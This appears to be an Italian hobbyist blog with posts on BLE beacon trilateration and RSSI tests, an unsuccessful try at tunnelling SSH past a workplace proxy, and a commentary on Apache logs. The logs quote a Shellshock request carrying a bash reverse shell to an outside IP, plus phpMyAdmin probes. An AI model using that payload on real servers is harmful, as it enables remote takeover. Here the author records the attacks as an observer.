martedì 4 novembre 2014

Trilaterazione 2D con beacon


L'algoritmo di trilaterazione e' una tecnica che permette di individuare la posizione di un punto sconosciuto conosciuto le distanze dello stesso da punti quotati. La versione 3D e' alla base del posizionamento GPS ma quello che mi interessa e' la sua versione 2D per cercare di poter fare posizionamento indoor mediante antenne WiFi o beacons

Su questo argomento esiste una vasta letterature ingegneristica con risultati che vanno da ottimi a pessimi.

Nell'immagine viene riportato il metodo di calcolo (non ricordo la fonte)
Per semplicita' uno dei punti di riferimento e' in (0,0) mentre un altro e' sull'asse X (d,0). Il terzo punto e' in (i,j) mentre le distanze del punto incognito sono  rispettivamente R1, R2 ed R3



Per la prova ho usato tre beacons. Ho quindi realizzato una curva di taratura (per quanto possibile) che mi convertisse il valore di RSSI in metri

La prova e' stata effettuata creando una griglia regolare di 5x5 m e 3x3 m ed effettuando misure su alcuni nodi. In blu sono riportati i valori reali ed in rosso le posizioni calcolate
Importante: per ogni posizione e' stato preso il valore istantaneo di RSSI senza effettuare medie  di lunga durata perche' il tentativo era di tracciare il percorso di una persona in movimento

Risultati griglia 5x5

Risultati griglia 3x3 m

E' evidente che la prova ha avuto un esito decisamente negativo. L'algoritmo di calcolo di trilaterazione funziona, cio' che difetta e' la stabilita' del segnale dei beacons e l'impossibilita' di avere una legge affidabile per convertire i valori di RSSI in distanze

lunedì 3 novembre 2014

RSSI vs Distanza per CC2540/CC2541/Gimbal10

Giusto per prova ho messo in grafico i valori di RSSI e distanza per vedere se si trova una legge semplice per calcolare la distanza (non mi interessa se la legge di correlazione ha un senso fisico, solo che abbia un buon fit)

I valori sono mediati su molte misure (altrimenti si osservano le fluttuazioni del post precedente)

 Come indicazione generale si riesce a calcolare discretamente la distanza per valori inferiori al 1.5 m. CC2540 e' quello per cui i valori di RSSI vanno rapidamente a -100 e quindi sono indicati solo per una prossimita' molto stretta

CC2540 vs CC2541 cc Gimbal

Avendo tre modelli di Beacons ho provato a vedere quali sono le differenze principali
Per rendere comparabili i risultati ho effettuato una serie di misure di RSSI ad una distanza di 1 m con un medesimo telefono (Iphone 4S) ed utilizzando le applicazioni ufficiali dei costruttori

I tre processori sono il TI CC2540 (TI vecchio), TI 2541 (TI nuovo) e Gimbals serie 10
Grafico delle misure
TI CC2540
valore medio : -84.6
st. dev : 1.78
differenza massima positiva : 2.4
differenza massima negativa : -3.6

TI CC2541
valore medio : -73.2
st. dev : 1.77
differenza massima positiva : 2.8
differenza massima negativa : -3.2

Gimbal serie 10
valore medio : -90.6
st. dev : 1.78
differenza massima positiva : 3.3
differenza massima negativa : -4.6


In conclusione :
1) tutti i beacon esaminati hanno un valore simile di standard deviation per cui non esiste un vincitore
2) il valore di RSSI per tutti e' molto variabile, troppo per fare un posizionamento preciso

venerdì 31 ottobre 2014

Gimbal beacons

Aggiornamento
Con alcune app i beacon Gimbal sono visibili ma cambiano continuamente MAC Address per cui la lista continua ad aggiornarsi scoprendo sempre nuovi beacon (in realta' e' sempre il solito che aggiorna il proprio identificativo di basso livello)
Cio' comporta problemi su Android. Secondo quanto riportato da questo post di Radius Network (una ditta concorrente) dopo circa 40 minuti di utilizzo una applicazione Android va in crash a causa del numero limitato della lista di MAC Address che Android riesce a gestire

----------------------------------------

Grazie ad una simpatica iniziativa per gli sviluppatori (spediscono un kit gratuito anche all'estero...nonostante che sia indicato solo per gli USA) sono entrato in possesso di tre beacons Gimbal ovvero Qualcomm


Rispetto agli altri beacon testati basati sul TI CC2540 questi sono basati su processori proprietari della Qualcomm e sono decisamente molto meglio ingegnerizzati e miniturizzati (lo spazio e' quasi totalmente occupato dalla batteria CR2032)

Una prima differenza rispetto agli altri beacon testati e' che questi non vengono segnalati dai programmi basati sul uuid-major-minor. In pratica ogni beacon ha un proprio codice (4 caratteri - 5 caratteri) che deve essere comunicato a Gimbal per l'attivazione; in seguito i beacon solo visibili medianti le applicazione sviluppate con l'SDK di Gimbal (IOS e Android-Beta) ma non con altri software

Con il beacon posto vicino al telefono l'RSSI e' di -40, portandolo a circa ad oltre 3 m scende circa -80. Riportando velocemente in grafico


Il segnale risulta molto stabile (prova effettuata ad un 1 metro di distanza tra beacon ed IPhone) con una standard deviation del valore di RSSI di circa 0.6 unita'


Su Android le cose sono leggermente differenti con un valore di standard deviation di 1.2 unita'. Non male vista la precedente esperienza con i Texas Instruments





ShellShock et alii

Ancora un po' di curiosita sui log di un server Apache 2

ci sono chiaramente dei tentativi mediante script automatici che cercano vulnerabilita' legate a PhpMyAdmin (in giallo) ed un attacco basato su shellshock (in rosso) nella speranza di trovare installato CPanel

Curiose invece le righe in verde in cui vengono effettuate richieste a servizi come proxyjudge che verificano lo stato dei proxy server (forse un modo per verificare se la macchina e' all'interno di un proxy???)

comunque come si vede le risposte del server sono della categoria 400 quindi il file non e' stato trovato

Interessante anche la riga in azzurro in cui viene fatta una richiesta che non risulta essere nel protocollo http

Per finire le nazionalita' dell'origine degli attacchi: in alcuni casi e' Taiwan, in altri Thailandia,

08.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /ujuj/uju/uj.php HTTP/1.1" 404 470 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
207.240.10.33 - - [29/Oct/2014:23:29:50 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 487 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
85.25.72.86 - - [29/Oct/2014:23:30:56 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 0 "-" "-"
125.64.35.67 - - [30/Oct/2014:00:03:13 +0000] "GET http://6.url.cn/zc/chs/img/body.png HTTP/1.1" 404 450 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)"
61.58.204.97 - - [30/Oct/2014:00:42:07 +0000] "GET /hghg/hgh/hg.php HTTP/1.1" 404 470 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:08 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:09 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:10 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:50 +0000] "GET /kkkk/kkk/kk.php HTTP/1.1" 404 470 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:51 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
1.164.41.53 - - [30/Oct/2014:01:45:02 +0000] "CONNECT mx0.mail2000.com.tw:25 HTTP/1.0" 405 537 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:29 +0000] "GET /asas/asa/as.php HTTP/1.1" 404 470 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
64.4.97.21 - - [30/Oct/2014:06:37:26 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"

218.59.238.93 - - [30/Oct/2014:11:01:52 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [30/Oct/2014:11:02:14 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


124.122.165.64 - - [30/Oct/2014:08:53:09 +0000] "GET /vyvy/vyv/vy.php HTTP/1.1" 404 470 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:12 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"

218.59.238.93 - - [29/Oct/2014:16:19:29 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:16:19:44 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


218.59.238.93 - - [29/Oct/2014:10:07:33 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:10:39:54 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:12:40 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:13:49 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

221.165.35.130 - - [27/Oct/2014:23:25:57 +0000] "GET / HTTP/1.1" 200 11820 "-" "-"
65.99.238.246 - - [27/Oct/2014:23:43:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "-"
218.59.238.93 - - [27/Oct/2014:23:46:01 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:48:51 +0000] "GET http://yazoodle.net/azenv.php HTTP/1.0" 404 463 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:57:38 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /zyzy/zyz/zy.php HTTP/1.1" 404 470 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
218.59.238.93 - - [28/Oct/2014:01:36:04 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:01:49:47 +0000] "GET http://www.mesregies.com/azz.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:02:50:52 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:03:51:04 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

giovedì 30 ottobre 2014

Evadere da un proxy server

Per motivi di lavoro passo molto tempo dietro un http proxy server. La macchina di frontiera filtra tutto il traffico lasciando aperte solo la porta 80 e 443 effettuando anche content filtering (basato piu' che altro su una lista di domini ammessi/non ammessi senza entrare a leggere il contenuto vero e proprio dei pacchetti)

Visto che qualche volta (qualche spesso...) mi devo collegare in SSH a macchine esterne e non volendo sempre usare la connessione cellulare ho provato a forzare il blocco

La tecnica prevista consisteva nel predisporre una macchina esterna con ip statico e pubblico con il server SSH in ascolto non sulla porta standard 22 ma sulla 80 in modo da poter attraversare il proxy ed una volta all'esterno rimandare poi sulle macchine di interesse.

Dopo una mezza giornata di tentativi ho desistito. Il proxy server intercetta tutte le chiamate negando l'accesso all'esterno sia usando Putty su Windows che ssh da shell su Linux e Mac. A questo punto mi sono reso conto che la macchina di frontiera non fa solo il controllo sull'intestazione dei pacchetti ma anche all'interno degli stessi (non ho ben chiaro come fa ma di fatto lo fa). Sono quindi ancora prigioniero del proxy
I miei complimenti all'amministratore del sistema centrale (che poi mi deve spiegare perche' nega le connessioni ssh e poi permette il traffico su tutta una serie di siti quali Facebook, Youtube e compagnia dicendo)

venerdì 24 ottobre 2014

Bluetooth LE su MacBook Late 2009

Con il nuovo OsX prende ancora piu' importanza nel mondo Mac la presenza di Bluetooth 4

Avendo un MacBook Pro Late 2009 non e' montato di serie un chip Bluetooth LE.
Ho provato quindi a recuperare il dongle gia' usato per Linux visto sul precedente post


Con sorpresa il chip Broadcom BCM20702 viene riconosciuto da MacOs X 10.9.5 senza problemi.
Per rendere operativo il dongle si puo' usare il programma BeaconScanner (link) per registrare la presenza di beacon nelle vicinanze al portatile ed il programma BeaconOsX (link) per trasformare il MacBook in un beacon

Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...